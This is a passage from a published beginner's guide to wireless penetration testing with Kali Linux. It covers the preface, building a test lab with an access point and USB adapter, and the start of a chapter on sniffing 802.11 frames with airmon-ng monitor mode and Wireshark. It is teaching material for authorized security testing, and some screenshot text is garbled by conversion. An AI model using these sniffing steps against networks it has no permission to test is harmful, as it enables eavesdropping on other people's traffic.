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Kali Linux Wireless Penetration Testing

Master wireless testing techniques to survey and attack wireless networks with Kali Linux



Vivek Ramachandran Cameron Buchanan



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Kali Linux Wireless Penetration Testing Beginner's Guide

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BIRMINGHAM - MUMBAI

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I would like to thank my lovely wife for all her help and support during the book-writing process. I would also like to thank my parents, grandparents, and sister for believing in me and encouraging me for all these years, and last but not least, I would like to thank all the users of SecurityTube.net who have always been behind me and supporting all my work. You guys rock!

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Preface

Wireless Networks have become ubiquitous in today's world. Millions of people use it worldwide every day at their homes, offices and public hotspots to logon to the Internet and do both personal and professional work. Even though wireless makes life incredibly easy and gives us such great mobility, it comes with risks. In recent times, insecure wireless networks have been used to break into companies, banks and government organizations. The frequency of these attacks is only intensified, as network administrators are still clueless when it comes to securing wireless networks in a robust and fool proof way.

Kali Linux Wireless Penetration Testing Beginner's Guide is aimed at helping the reader understand the insecurities associated with wireless networks, and how to conduct penetration tests to find and plug them. This is an essential read for those who would like to conduct security audits on wireless networks and always wanted a step-by-step practical. As every wireless attack explained in this book is immediately followed by a practical demo, the learning is very complete.

We have chosen Kali Linux as the platform to test all the wireless attacks in this book. Backtrack, as most of you may already be aware, is the world's most popular penetration testing distribution. It contains hundreds of security and hacking tools, some of which we will use in this course of this book.

What this book covers

Chapter 1, Wireless Lab Setup: There are dozens of exercises we will be doing in this book. In order to be able to try them out, the reader will need to setup a wireless lab. This chapter focuses on how to create a wireless testing lab using off-the-shelf hardware and open source software. We will first look at hardware requirements, which include wireless cards, antennas, access points and other Wi-Fi enabled devices, then we will shift our focus to the software requirements which include the operating system, Wi-Fi drivers and security tools. Finally, we will create a test bed for our experiments and verify different wireless configurations on it.

Preface

Chapter 2, WLAN and its Inherent Insecurities: This chapter focuses on inherent design flaws in wireless networks, that make insecure out-of-the-box. We will begin with a quick recap of the 802.11 WLAN protocols using a network analyzer called Wireshark. This will give us a practical understanding about how these protocols work. Most importantly, we will see how client and access point communication works at the packer level by analyzing Management, Control and Data frames. We will then learn about packet injection and packer sniffing in wireless networks, and look at some tools which enable us to do the same.

Chapter 3, Bypassing WLAN Authentication: Now we get into how to break WLAN authentication mechanism! We will go step by step and explore how to subvert Open and Shared Key authentications. In the course of this, you will learn how to analyse wireless packets and figure out the authentication mechanism of the network. We will also look at how to break into networks with Hidden SSID and MAC Filtering enabled. These are two common mechanisms employed by network administrators to make wireless networks more stealthy and difficult to penetrate; however, these are extremely simple to bypass.

Chapter 4, WLAN Encryption Flaws: One of the most vulnerable parts of the WLAN protocol is the Encryption schemas – WEP, WPA and WPA2. Over the past decade hackers have found multiple flaws in these schemas and have written publically available software to break them and decrypt the data. Also, even though WPA/WPA2 is secure by design, misconfiguring those opens up security vulnerabilities, that can be easily exploited. In this chapter, we will understand the insecurities in each of these encryption schemas and do practical demos on how to break them.

Chapter 5, Attacks on the WLAN Infrastructure: We will now shift our focus to WLAN Infrastructure vulnerabilities. We will look at vulnerabilities created due to both configuration and design problem. We will do practical demos of attacks such as access point MAC spoofing, bit flipping and replay attacks, rogue access points, fuzzing and denial of services. This chapter will give the reader a solid understanding of how to do a penetration test of the WLAN infrastructure.

Chapter 6, Attacking the Client: This chapter might open your eyes if you always believed that wireless client security was something you did not have to worry about! Most people exclude the client from their list when they think about WLAN security. This chapter will prove beyond doubt why the client is just as important as the access point when penetration testing a WLAN network. We will look at how to compromise the security using client side attacks such as Miss-Association, Caffe Latte, disassociation, ad-hoc connections, fuzzing, honeypots and a host of others.

Chapter 7, Advanced WLAN Attacks: Now that we have already covered most of the basic attacks on both the infrastructure and the client, we will look at more advanced attacks in this chapter. These attacks typically involve using multiple basic attacks in conjunction to break security in more challenging scenarios. Some of the attacks which we will learn include wireless device fingerprinting, man-in-the-middle over wireless, evading wireless intrusion detection and prevention systems, rogue access points operating using custom protocol and a couple of others. This chapter presents the absolute bleeding edge in wireless attacks out in the real world.

Chapter 8, Attacking WPA-Enterprise and RADIUS: This chapter graduates the user to the next level by introducing him to advanced attacks on WPA-Enterprise and the RADIUS server setup. These attacks will come in handy when the reader has to penetration test large enterprise networks which rely on WPA-Enterprise and RADIUS authentication to provide them with security. This is probably as advanced as Wi-Fi attacks can get in the real world.

Chapter 9, WLAN Penetrating Testing Methodology: This is where all the learning from the previous chapters comes together, and we will look at how to do a wireless penetration test in a systematic and methodical way. We will learn about the various phases of penetration testing—Planning, Discovery, Attack and Reporting, and apply it to wireless penetration testing. We will also understand how to propose recommendations and best practices after a wireless penetration test.

Chapter 10, WPS and Probes: This chapter covers the two new attacks in the industry that have developed since the initial publication of this book—WPS brute-force and probe sniffing for monitoring.

What you need for this book

To follow and recreate the practical exercises in this book you will need two laptops with built in Wi-Fi cards, a USB wireless Wi-Fi adapter, Kali Linux and some other hardware and software. We have detailed this in *Chapter 1, Wireless Lab Setup*.

As an alternate to the two laptops, you could also create a Virtual Machine housing Kali Linux and connect the card to it over the USB interface. This will help you get started with using this book much faster, but we would recommend a dedicated machine running Kali Linux for actual assessments in the field.

From a prerequisite perspective, readers should be aware of the basics of wireless networks. This includes having prior knowledge about the basics of the 802.11 protocol and client-access point communication. Though we will briefly touch upon some of this when we setup the lab, it is expected that the user is already aware of these concepts.

Preface

Who this book is for

Though this book is a Beginner's series, it is meant for all levels of users, from amateurs right through to wireless security experts. There is something for everyone. The book starts with simple attacks but then moves on to explain the more complicated ones, and finally discusses bleeding edge attacks and research. As all attacks are explained using practical demonstrations, it is very easy for readers at all levels to quickly try the attack out by themselves. Please note that even though the book highlights the different attacks, which can be launched against a wireless network, the real purpose is to educate the user to become a wireless penetration tester. An adept penetration tester would understand all the attacks out there and would be able to demonstrate them with ease, if requested by his client.

Conventions

In this book, you will find a number of styles of text that distinguish between different kinds of information. Here are some examples of these styles, and an explanation of their meaning.

Code words in text, database table names, folder names, filenames, file extensions, pathnames, dummy URLs, user input, and Twitter handles are shown as follows: "Open a console terminal and type in iwconfig."

Any command-line input or output is written as follows:

```
airodump-ng -bssid 00:21:91:D2:8E:25 --channel 11 --write WEPCrackingDemo mon0
```

New terms and **important words** are shown in bold. Words that you see on the screen, in menus or dialog boxes for example, appear in the text like this: "Boot the laptop with this DVD and select the option **Install** from the **Boot menu**."



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Wireless Lab Setup

"If I had eight hours to chop down a tree, I'd spend six hours sharpening my axe."

Abraham Lincoln, 16th US President

Behind every successful execution is hours or days of preparation, and wireless penetration testing is no exception. In this chapter, we will create a wireless lab that we will use for our experiments in this book. Consider this lab as your preparation arena before you dive into real-world penetration testing!

Wireless penetration testing is a practical subject, and it is important to first set up a lab where we can try out all the different experiments in this book in a safe and controlled environment. It is important that you set up this lab first before moving on in this book.

In this chapter, we will take a look at the following:

- Hardware and software requirements
- Installing Kali
- Setting up an access point and configuring it
- Installing the wireless card
- Testing connectivity between the laptop and the access point

So let the games begin!

- [1] -

Wireless Lab Setup

Hardware requirements

We will need the following hardware to set up the wireless lab:

- Two laptops with internal Wi-Fi cards: We will use one of the laptops as the victim in our lab and the other as the penetration tester's laptop. Though almost any laptop would fit this profile, laptops with at least 3 GB RAM are desirable. This is because we may be running a lot of memory-intensive software in our experiments.
- One wireless adapter (optional): Depending on the wireless card of your laptop, we may need a USB Wi-Fi card that can support packet injection and packet sniffing, which is supported by Kali. The best choice seems to be the Alfa AWUS036H card from Alfa Networks, as Kali supports this out-of-the-box. This is available on www.amazon.com for a retail price of £18 at the time of writing. An alternative option is the Edimax EW-7711UAN, which is smaller and, marginally, cheaper.
- One access point: Any access point that supports WEP/WPA/WPA2 encryption standards would fit the bill. I will be using a TP-LINK TL-WR841N Wireless router for the purpose of illustration in this book. You can purchase it from Amazon.com for a retail price of around £20 at the time of writing.
- An Internet connection: This will come in handy for performing research, downloading software, and for some of our experiments.

Software requirements

We will need the following software to set up the wireless lab:

- Kali: This software can be downloaded from the official website located at http://www.kali.org. The software is open source, and you should be able to download it directly from the website.
- Windows XP/Vista/7: You will need any one of Windows XP, Windows Vista, or Windows 7 installed on one of the laptops. This laptop will be used as the victim machine for the rest of the book.



It is important to note that, even though we are using a Windows-based OS for our tests, the techniques learnt can be applied to any Wi-Fi-capable devices such as smart phones and tablets, among others.

Installing Kali

Let's now quickly take a look at how to get up-and-running with Kali.

Kali will be installed on the laptop that will serve as the penetration tester's machine for the rest of the book.

Time for action – installing Kali

Kali is relatively simple to install. We will run Kali by booting it as a Live DVD and then install it on the hard drive.

Perform the following instructions step by step:

Burn the Kali ISO (we are using the Kali 32-bit ISO) you downloaded onto a bootable DVD.

1. Boot the laptop with this DVD and select the option **Install** from the **Boot menu**:



Choose the language also be the default Language:	[!!] Sele to be used for the inst language for the instal C Albanian Arabic Asturian Decome	ct a language allation process. The selected language will led system. - No localization - Shqip - مرجي - Asturianu
	Basque Belarusian Bosnian Bulgarian Catalan Chinese (Simplified) Chinese (Traditional) Croatian Czech Danish Dutch	- Euskara Беларуская - Bosanski ■ - Български - Саtalâ - 中文(简体) - 中文(爾德) - Hrvatski - Čeština - Dansk - Nederlands
	English Esperanto Estonian Finnish French Galician German Greek	 English Esperanto Eesti Suomi Français Galego Deutsch Ελληνικά
<go back=""></go>	lects; <enter≻ act<u="">ivates</enter≻>	s buttons

2. If booting was successful, then you should see an awesome retro screen as follows:

- **3.** This installer is similar to the GUI-based installers of most Linux systems and should be simple to follow. Select the appropriate options in every screen and start the installation process. Once the installation is done, restart the machine as prompted and remove the DVD.
- 4. Once the machine restarts, a login screen will be displayed. Type in the login as root and the password as whatever you set it to during the installation process. You should now be logged into your installed version of Kali. Congratulations!

I will change the desktop theme and some settings for this book. Feel free to use your own themes and color settings!

What just happened?

We have successfully installed Kali on the laptop! We will use this laptop as the penetration tester's laptop for all other experiments in this book.

Have a go hero – installing Kali on VirtualBox

We can also install Kali within virtualization software such as VirtualBox. If you don't want to dedicate a full laptop to Kali, this is the best option. Kali's installation process in VirtualBox is exactly the same. The only difference is the pre-setup, which you will have to create in VirtualBox. Have a go at it! You can download VirtualBox from http://www.virtualbox.org.

One of the other ways in which we can install and use Kali is via USB drives. This is particularly useful if you do not want to install on the hard drive but still want to store persistent data on your Kali instance, such as scripts and new tools. We encourage you to try this out as well!

Setting up the access point

Now we will set up the access point. As mentioned earlier, we will be using the TP-LINK TL-WR841N Wireless Router for all the experiments in this book. However, feel free to use any other access point. The basic principles of operation and usage remain the same.

Time for action - configuring the access point

Let's begin! We will set the access point up to use Open Authentication with an SSID of Wireless Lab.

Follow these instructions step by step:

1. Power on the access point and use an Ethernet cable to connect your laptop to one of the access point's Ethernet ports.

Wireless Lab Setup

2. Enter the IP address of the access point configuration terminal in your browser. For the TP-Link, it is by default 192.168.1.1. You should consult your access point's setup guide to find its IP address. If you do not have the manuals for the access point, you can also find the IP address by running the route -n command. The gateway IP address is typically the access point's IP. Once you are connected, you should see a configuration portal that looks like this:

Authentication Requi	red ×
The server http://192.168.1 password. The server says: WR841N.	.1:80 requires a username and TP-LINK Wireless N Router
User Name:	
Password:	
	Log In Cancel

- **3.** Explore the various settings in the portal after logging in and find the settings related to configuring a new SSID.
- **4.** Change the SSID to **Wireless Lab**. Depending on the access point, you may have to reboot it for the settings to change:

TP-LIN	<°	
Status		-
Quick Setup	Wireless Security	
WPS		
Network	Disable Security	
Wireless	Disable security	
- Wireless Settings		
- Wireless Security	WPA/WPA2 - Personal(Recommended)	
- Wireless MAC Filtering	Version: WPA2-PSK V	
- Wireless Advanced	Encryption: AES	
- Wireless Statistics	Wireless Password: 88455808	
DHCP	(You can enter ASCII characters between 8 and 63 or Hexadecimal characters between 8 and 64.)	
Forwarding	Group Key Update Period: 0 Seconds	
Security	(Keep it default if you are not sure, minimum is 30, 0 means no update)	
Parental Control	WPA/WPA2 - Enternrise	
Access Control		
Advanced Routing	Version: Automatic V	
Bandwidth Control	Encryption: Automatic	
IP & MAC Binding	Radius Server IP:	
Dynamic DNS	Radius Port: 1812 (1-65535, 0 stands for default port 1812)	
System Tools	Radius Password:	

- [6] —

- Similarly, find the settings related to Wireless Security and change the setting to Disable Security. Disable Security indicates that it is using Open Authentication mode.
- **6.** Save the changes to the access point and reboot it if required. Now your access point should be up-and-running with an SSID **Wireless Lab**.

An easy way to verify this is to use the Wireless Configuration utility on Windows and observe the available networks using the Windows laptop. You should find **Wireless Lab** as one of the networks in the listing:

ء ک	Conr	nect to a network		- 8 🔀
D	Discon	nect or connect to a	another network	
	Sho	All	•	47
	.	Wireless Lab	Unsecured network	Îllee
	<u>.</u>	janet	Security-enabled network	.till
		Unnamed Network	Unsecured network	🗏 llee
<u>Se</u> <u>O</u>	et up a c)pen Net	connection or network twork and Sharing Center	:	
				Disconnect Cancel

What just happened?

We have successfully setup our access point with an SSID Wireless Lab. It is broadcasting its presence and this is being picked up by our Windows laptop and others within the **Radio Frequency (RF)** range of the access point.

It is important to note that we configured our access point in Open mode, which is the least secure. It is advisable not to connect this access point to the Internet for the time being, as anyone within the RF range will be able to use it to access the Internet.

Wireless Lab Setup

Have a go hero – configuring the access point to use WEP and WPA

Play around with the configuration options of your access point. Try to get it up-and-running using encryption schemes such as WEP and WPA/WPA2. We will use these modes in later chapters to illustrate attacks against them.

Setting up the wireless card

Setting up our wireless adapter is much easier than the access point. The advantage is that Kali supports this card out-of-the-box and ships with all requisite device drivers to enable packet injection and packet sniffing.

Time for action – configuring your wireless card

We will be using the wireless adapter with the penetration tester's laptop.

Please follow these instructions step-by-step to set up your card:

1. Plug in the card to one of the Kali laptop's USB ports and boot it.

Once you log in, open a console terminal and type in iwconfig. Your screen should look as follows:



As you can see, **wlan0** is the wireless interface created for the wireless adapter. Type in ifconfig wlan0 to bring the interface up. Then, type in ifconfig wlan0 to see the current state of the interface:



- [8] -

2. The MAC address 00:c0:ca:3e:bd:93 should match the MAC address written under your Alfa card. I am using the Edimax that gives me the preceding MAC address 80:1f:02:8f:34:d5. This is a quick check to ensure that you have enabled the correct interface.

What just happened?

Kali ships with all the required drivers for the Alfa and Edimax adapters out of the box. As soon as the machine booted, the adapter was recognized and was assigned the network interface wlan0. Now our wireless adapter is up and functional!

Connecting to the access point

Now we will take a look at how to connect to the access point using the wireless adapter. Our access point has an SSID Wireless Lab and does not use any authentication.

Time for action – configuring your wireless card

Here we go! Follow these steps to connect your wireless card to the access point:

 Let's first see what wireless networks our adapter is currently detecting. Issue the command iwlist wlan0 scanning and you will find a list of networks in your vicinity:

root@wireless-examp	le:∼# iwlist wlan0 scanning
wlan0 Scan compl	.eted :
Cell 01 -	Address: 9C:D3:6D:2A:7B:C0
	Channel :11
	Frequency:2.462 GHz (Channel 11)
	Quality=22/70 Signal level=-88 dBm
	Encryption key:on
	ESSID:"everythingwillprobablynotbeokay"
	Bit Rates:1 Mb/s; 2 Mb/s; 5.5 Mb/s; 11 Mb/s; 6 Mb/s
	9 Mb/s; 12 Mb/s; 18 Mb/s
	Bit Rates:24 Mb/s; 36 Mb/s; 48 Mb/s; 54 Mb/s
	Mode:Master
	Extra:tsf=0000023369666b3c
	Extra: Last beacon: 1172ms ago
	IE: Unknown: 001F65766572797468696E6777696C6C70726F6261626C7
96E6F7462656F6B6179	
	IE: Unknown: 010882848B960C121824
	IE: Unknown: 03010B
	IE: Unknown: 0706474220010D14 ^{ou are able to hear.}
	IE: Unknown: 2A0104
	IE: Unknown: 32043048606C
	IE: Unknown: 2D1AAD011BFFFF0000000000000000000000000000000
5E6E/0D00	

Keep scrolling down and you should find the Wireless Lab network in this list. In my setup, it is detected as Cell 05; it may be different in yours. The ESSID field contains the network name.

- As multiple access points can have the same SSID, verify that the MAC address mentioned in the preceding Address field matches your access point's MAC. A fast and easy way to get the MAC address is underneath the access point or using web-based GUI settings.
- **3.** Now, issue the iwconfig wlan0 essid "Wireless Lab" command and then iwconfig wlan0 to check the status. If you have successfully connected to the access point, you should see the MAC address of the access point in the Access Point: field in the output of iwconfig.
- 4. We know that the access point has a management interface IP address 192.168.0.1 from its manual. Alternately, this is the same as the default router IP address when we run the route -n command. Let's set our IP address in the same subnet by issuing the ifconfig wlan0 192.168.0.2 netmask 255.255.255.0 up command. Verify the command succeeded by typing ifconfig wlan0 and checking the output.
- 5. Now let's ping the access point by issuing the ping 192.168.0.1 command. If the network connection has been set up properly, then you should see the responses from the access point. You can additionally issue an arp -a command to verify that the response is coming from the access point. You should see that the MAC address of the IP 192.168.0.1 is the access point's MAC address we noted earlier. It is important to note that some of the more recent access points might have responses to Internet Control Message Protocol (ICMP) echo request packets disabled. This is typically done to make the access point secure out-of-the-box with only minimal configuration settings available. In such a case, you can try to launch a browser and access the web interface to verify that the connection is up-and-running:

<pre>root@wireless-example:~# ping 192.168.0.1</pre>
PING 192.168.0.1 (192.168.0.1) 56(84) bytes of data.
64 bytes from 192.168.0.1: icmp req=1 ttl=128 time=5.02 ms
64 bytes from 192.168.0.1: icmp req=2 ttl=128 time=1.48 ms
64 bytes from 192.168.0.1: icmp reg=3 ttl=128 time=1.47 ms
▲C The quieter you become, the more you are able to hear.
192.168.0.1 ping statistics
3 packets transmitted, 3 received, 0% packet loss, time 2003ms
rtt min/avg/max/mdev = 1.479/2.660/5.021/1.670 ms

On the access point, we can verify connectivity by looking at the connection logs. As you can see in the following log, the MAC address of the wireless card 4C:0F:6E:70:BD:CB has been logged making DHCP requests from the router:

daiou oorab						
WPS						
Network	brk Sustan Los					
Wireless		J	stem Log			
DHCP						
Forwarding						Mail Oathings
Security		Auto Mail Feature: Disabled Mail Settings				
Parental Control		Log T	ype: DHCP	۲	Log	J Level: ALL V
Access Control		Index	Time	Туре	Level	Log Content
Advanced Routing		22	Dec 27 05:59:27	DHCP	INFO	DHCPS:Recv INFORM from 4C:0F:6E:70:BD:CB
Bandwidth Control		21	Dec 27 05:57:27	DHCP	INFO	DHCPS:Recv INFORM from 4C:0F:6E:70:BD:CB
IP & MAC Binding		20	Dec 27 05:56:11	DHCP	INFO	DHCPS:Recv INFORM from 4C:0F:6E:70:BD:CB
Dynamic DNS		19	Dec 27 05:56:07	DHCP	INFO	DHCPS:Send ACK to 192.168.1.100
System Tools		18	Dec 27 05:56:07	DHCP	INFO	DHCPS:Recv REQUEST from 4C:0F:6E:70:BD:CB
- Time Settings		17	Dec 27 05:56:07	DHCP	INFO	DHCPS:Send OFFER with ip 192.168.1.100

What just happened?

We just connected to our access point successfully from Kali using our wireless adapter as the wireless device. We also learnt how to verify that a connection has been established at both the wireless client and the access point side.

Have a go hero – establishing a connection in a WEP configuration

Here is a challenging exercise for you—set up the access point in a WEP configuration. For each of these, try establishing a connection with the access point using the wireless adapter. Hint: check the manual for the iwconfig command by typing man iwconfig to see how to configure the card to connect to WEP.

Pop quiz – understanding the basics

Q1. After issuing the command ifconfig wlan0, how do you verify the wireless card is up and functional?

Q2. Can we run all our experiments using the Kali live CD alone? Can we not install the CD to the hard drive?

Q3. What does the command arp -a show?

Q4. Which tool should we use in Kali to connect to WPA/WPA2 networks?

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Wireless Lab Setup

Summary

This chapter provided you with detailed instructions on how to set up your own wireless lab. Also, in the process, you learned the basic steps for:

- Installing Kali on your hard drive and exploring other options such as Virtual Machines and USBs
- Configuring your access point over the web interface
- Understanding and using several commands to configure and use your wireless card
- Verifying the connection state between the wireless client and the access point

It is important that you gain confidence in configuring the system. If you aren't confident, it is advisable that you repeat the preceding examples a couple of times. In later chapters, we will design more complicated scenarios.

In the next chapter, we will learn about inherent design-based insecurities in WLANs design. We will use the network analyzer tool, Wireshark, to understand these concepts in a practical way.

2 WLAN and its Inherent Insecurities

"The loftier the building, the deeper the foundation must be laid."

Thomas Kempis

Nothing great can be built on a weak foundation, and in our context, nothing secure can be built on something that is inherently insecure.

WLANs, by design, have certain insecurities that are relatively easy to exploit, for example, by packet spoofing, packet injection, and sniffing (this could even happen from far away). We will explore these flaws in this chapter.

In this chapter, we shall look at the following:

- Revisiting WLAN frames
- Different frame types and subtypes
- Using Wireshark to sniff management, control, and data frames
- Sniffing data packets for a given wireless network
- Injecting packets into a given wireless network

Let's get started!

WLAN and its Inherent Insecurities

Revisiting WLAN frames

As this book deals with the security aspects of wireless, we will assume that you already have a basic understanding of the protocol and the packet headers. If not, or if it's been some time since you worked on wireless, this would be a good time to revisit this topic again.

Let's now quickly review some basic concepts of WLANs that most of you may already be aware of. In WLANs, communication happens over frames. A frame would have the following header structure:



The Frame Control field itself has a more complex structure:



The Type field defines three types of WLAN frame:

- 1. **Management frames**: Management frames are responsible for maintaining communication between access points and wireless clients. Management frames can have the following subtypes:
 - Authentication
 - Deauthentication
 - Association request
 - Association response
 - Reassociation request
 - Reassociation response
 - Disassociation
 - Beacon
 - Probe request
 - Probe response
- 2. **Control frames**: Control frames are responsible for ensuring a proper exchange of data between access points and wireless clients. Control frames can have the following subtypes:
 - Request to Send (RTS)
 - Clear to Send (CTS)
 - Acknowledgement (ACK)
- 3. **Data frames**: Data frames carry the actual data that is sent on the wireless network. There are no subtypes for data frames.

We will discuss the security implications of each of these frames when we discuss different attacks in later chapters.

We will now look at how to sniff these frames over a wireless network using Wireshark. There are other tools—such as Airodump-NG, Tcpdump, or Tshark—that you can use for sniffing as well. We will, however, mostly use Wireshark in this book, but we encourage you to explore other tools as well. The first step to do this is to create a monitor mode interface. This will create an interface for our adapter, which allows us to read all wireless frames in the air, regardless of whether they are destined for us or not. In the wired world, this is popularly called **promiscous mode**. WLAN and its Inherent Insecurities

Time for action – creating a monitor mode interface

Let's now set our wireless adapter into monitor mode.

Follow these instructions to get started:

1. Boot Kali with your adapter connected. Once you are within the console, enter iwconfig to confirm that your card has been detected and the driver has been loaded properly.

root@kali: ~						
File Edit View Search Terminal Help						
root@kali:~# iwconfig lo no wireless extensions.						
eth0 no wireless extensions.						
<pre>wlan1 IEEE 802.11bgn ESSID:off/any Mode:Managed Access Point: Not-Associated Tx-Power=20 dBm Retry long limit:7 RTS thr:off Fragment thr:off Encryption key:off Power Management:on root@kali:~#</pre>						
The quieter you become, the more you are able to hear.						

2. Use the ifconfig wlan1 up command to bring the card up (where wlan1 is your adapter). Verify whether the card is up by running ifconfig wlan1. You should see the word UP in the second line of the output as shown in the following screenshot:

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3. To put our card into monitor mode, we will use the airmon-ng utility that is available by default on Kali. First run airmon-ng command to verify whether it detects the available cards. You should see the wlan0 interface listed in the output:

	root@kali: ~							
File	Edit	View	Search	Terminal	Help			
root	@kali	~# ai	irmon-n	g				
Inte	rface		Chips	et	Driver			
wlan	1		Ralin	k RT2870	/3070 rt2800usb - [phy0]			
root	@kali	~#						
4. Now enter airmon-ng start wlan1 command to create a monitor mode interface corresponding to the wlan0 device. This new monitor mode interface will be named mon0. (You can verify if it has been created by running airmon-ng without arguments again).

	root@kali: ~	-	×
File Edit View	Search Terminal Help		
<mark>root@kali:∼#</mark> ai	rmon-ng start wlanl		
Found 3 processe If airodump-ng, a short period o -e PID Name 2256 Network 2292 dhclient 3125 wpa_supp	es that could cause trouble. aireplay-ng or airtun-ng stops working after of time, you may want to kill (some of) them! Manager t olicant		
Interface	Chipset Driver		
wlan1	Ralink RT2870/3070 rt2800usb - [phy0] (monitor mode enabled on mon0)		
root@kali:~# ai			1
Interface	Chipset Driver		
mon0 wlan1	Ralink RT2870/3070 rt2800usb - [phy0] Ralink RT2870/3070 rt2800usb - [phy0]		

5. Also, running ifconfig mon0 should now display a new interface called mon0.

					root@kali: ~	-		×
File	Edit	View	Search	Terminal	Help			
root(<u>@</u> kali	:~# i	fconfig	mon0				
mon0 -00		Link	encap:	UNSPEC	HWaddr 80-1F-02-8F-34-D5-00-00-00-00-00	-00-	-00-	00
		UP BI	ROADCAS	T RUNNIN	G MULTICAST MTU:1500 Metric:1			
		RX p	ackets:	1352 err	ors:0 dropped:1385 overruns:0 frame:0			
		ТХ р	ackets:	0 errors	:0 dropped:0 overruns:0 carrier:0			
		coll	isions:	0 txqueu	elen:1000			
		RX b	ytes:17	2082 (16	8.0 KiB) TX bytes:0 (0.0 B)			

What just happened?

We have successfully created a monitor mode interface called mon0. This interface will be used to sniff wireless packets off the air. This interface has been created for our wireless adapter.

Have a go hero – creating multiple monitor mode interfaces

It is possible to create multiple monitor mode interfaces using the same physical card. Use the airmon-ng utility to see how you can do this.

Awesome! We have a monitor mode interface just waiting to read some packets off the air. So let's get started.

In the next exercise, we will use Wireshark to sniff packets off the air using the mon0 monitor mode interface we just created.

Time for action – sniffing wireless packets

Follow the following instructions to begin sniffing packets:

- **1.** Power up the Access Point Wireless Lab that we configured in *Chapter 1, Wireless Lab Setup.*
- 2. Start Wireshark by typing Wireshark & in the console. Once Wireshark is running, navigate to Capture | Interfaces.

			Tŀ	ie W	iresh	ark No	etwo	rk An	alyze	er [V	Viresh	ark 1.8	.5]				□ ×
File	Edit	View	Go	Cap	ture	Analy	/ze	Statis	stics	Tele	ephony	Tools	Inte	ernals	Help		
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\overline{M}		Device				D	escri	ption					IP		Packets	Packets/	5
		🄊 eth0										192.16	8.200	0.128	1	0	_
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		阕 wlan	1									п	ione		0	0	
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0	н	elp								Star	rt	Stop		Ор	tions	Close	
F	eth0									-	-	A rich as	sortme	ent of e	example ca	apture files o	n the wi
R	monC																-
						- 111											>
⊖ Re	eady to	o load o	r cap	ture			No	Pack	ets				Pr	ofile:	Default		

- [19] -

3. Select packet capture from the mon0 interface by clicking on the **Start** button to the right of the mon0 interface as shown in the previous screenshot. Wireshark will begin the capture, and now you should see packets within the **Wireshark** window.

			Captu	ring from	monO	[Wir	eshark 1.	8.5]					-		×
File	Edit	View Go	Capture	Analyze	Statist	ics T	elephony	Tools	Inte	ernals	Hel	Р			
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Filte	r: 🗌						\$	Expre	ession.	C	lear	Apply	y Sav	e	
No.		Time	Source			D	estination	1			Proto	col l	ength	Info	^
	131	9.012601000	D-Link	_62:6d:0	8	В	roadcast				802.]	1	142	Beaco	D
	132	9.114881000	D-Link	_62:6d:0	8	В	roadcast				802.]	1	142	Beaco	b
	133	9.217780000	D-Link	62:6d:0	8	В	roadcast				802.]	1	142	Beaco	b
	134	9.319875000	D-Link	62:6d:0	8	В	roadcast				802.1	1	142	Beaco	b
	135	9.423660000	D-Link	62:6d:0	в	В	roadcast				802.]	1	142	Beaco	b
	136	9.524681000	D-Link	62:6d:0	8	В	roadcast				802.]	1	142	Beaco	b
	137	9.627225000	D-Link	62:6d:0	8	В	roadcast				802.]	1	142	Beaco	b
	138	9.729613000	D-Link	_62:6d:0	8	В	roadcast				802.]	1	142	Beaco	b
÷	139	9.832144000	D-Link	62:6d:0	в	В	roadcast				802.]	1	142	Beaco	b
· ·	140	9.934426000	D-Link	62:6d:0	8	В	roadcast				802.1	1	142	Beaco	b
	141	10.03688800	D-Link	62:6d:0	8	В	roadcast				802.1	1	142	Beaco	o 🗕
	142	10.13938900) D-Link	62:6d:0	в	В	roadcast				802.]	1	142	Beaco	5 E
	143	10.24176500) D-Link	_62:6d:0	8	В	roadcast				802.]	1	142	Beaco	o 🗸
<				111										>	
D Fr	ame '	1: 142 bytes	on wire	(1136 b	its).	142 b	vtes capi	tured	(1136	s bits	s) on	inte	erface	0	-
D Ba	diota	an Header v0	. Lenath	18	1.00,,	112 0	, coo cup	caroa	(1100		5, 011	- Inc.	511400		
	EE 80	92 11 Beacon	frame	Flags											
D TE	EE 80	02.11 wirele	ss I AN r	nanademen	t fram	e									
1 10		wirece	SS EAN I	anagemen	e rram										
0000	00	00 12 00 2e	48 00 0	0 00 02	6c 09	a0 00	a8 01		Н	l					^

4. These are wireless packets that your wireless adapter is sniffing off the air. In order to view any packet, select it in the top window and the entire packet will be displayed in the middle window.

Chapter 2

					c	aptu	rina	From	mo	n0	٢v	/ires	harl	k 1.8	3.51							×
F il -	E dia	1/:			<i>c</i>							T-1				1						
File	Edit	vie	we	0	Сар	ture	Ana	lyze	St	atist	ics	Tet	epno	ony	Tools	Int	ernal	s He	erb			
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			8048	490		-Lin	k_62:	6d:0	8				adca	ast				802.		142	2 Beaco	b —
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⊅ Fr ⊅ Ra	ame : diota	L452: ар Не	142 ader	2 by `v0	tes , L	on engt	wire h 18	(113	36 b	its),	142	byte	es c	apture	ed (1136	bits) on	inter	ace O	
D IE	EE 80	02.11	. Bea	icon	tr	ame,	FLa	js: .		• • •	•											
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0020	00	080	J 22	11	0∠ 04	00 0)8 7)8 5	5 70	73	4/ 74	74 61	69 7	1C 0 72 7	3			Unst	airs				
0040	01	04 8	2 84	8b	96	03 (01 0	1 dd	16	00	50	f2 0	010	1				P				
0050	00	00 5	9 f 2	02	01	00 0	0 5	0 f2	02	01	00	00 5	50 f	2	P		Ρ	P.				
0060	02	05 0	4 00	01	00	30 (ld 1	8 00	50	f2	02	01 0)1 0	0		.0.	P.					

Click on the triangle in front of **IEEE 802.11 Wireless LAN management frame** to expand and view additional information.

Look at the different header fields in the packet and correlate them with the WLAN frame types and sub-types you have learned earlier.

What just happened?

We just sniffed out first set of packets off the air! We launched Wireshark, which used the monitor mode interface mon0 we created previously. You should notice, by looking at Wireshark's footer region, the speed at which the packets are being captured and also the number of packets captured till now.

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WLAN and its Inherent Insecurities

Have a go hero – finding different devices

Wireshark traces can be a bit daunting at times; even for a reasonably populated wireless network, you could end up sniffing a few thousand packets. Hence, it is important to be able to drill down to those packets that interest us. This can be accomplished using filters in Wireshark. Explore how you can use these filters to identify unique wireless devices in the traces– both access points and wireless clients.

If you are unable to do this, don't worry as this is the next thing we will learn.

Time for action – viewing management, control, and data frames

Now we will learn how to apply filters in Wireshark to look at Management, Control and Data Frames.

Please follow the below instructions step by step:

1. To view all the Management frames in the packets being captured, enter the filter wlan.fc.type == 0 into the filter window and click Apply. You can stop the packet capture if you want to prevent the packets from scrolling down too fast.

					Ca	ptu	ring f	rom	mo	nO	[٧	Vire	sha	rk 1.a	8.5]					-		×
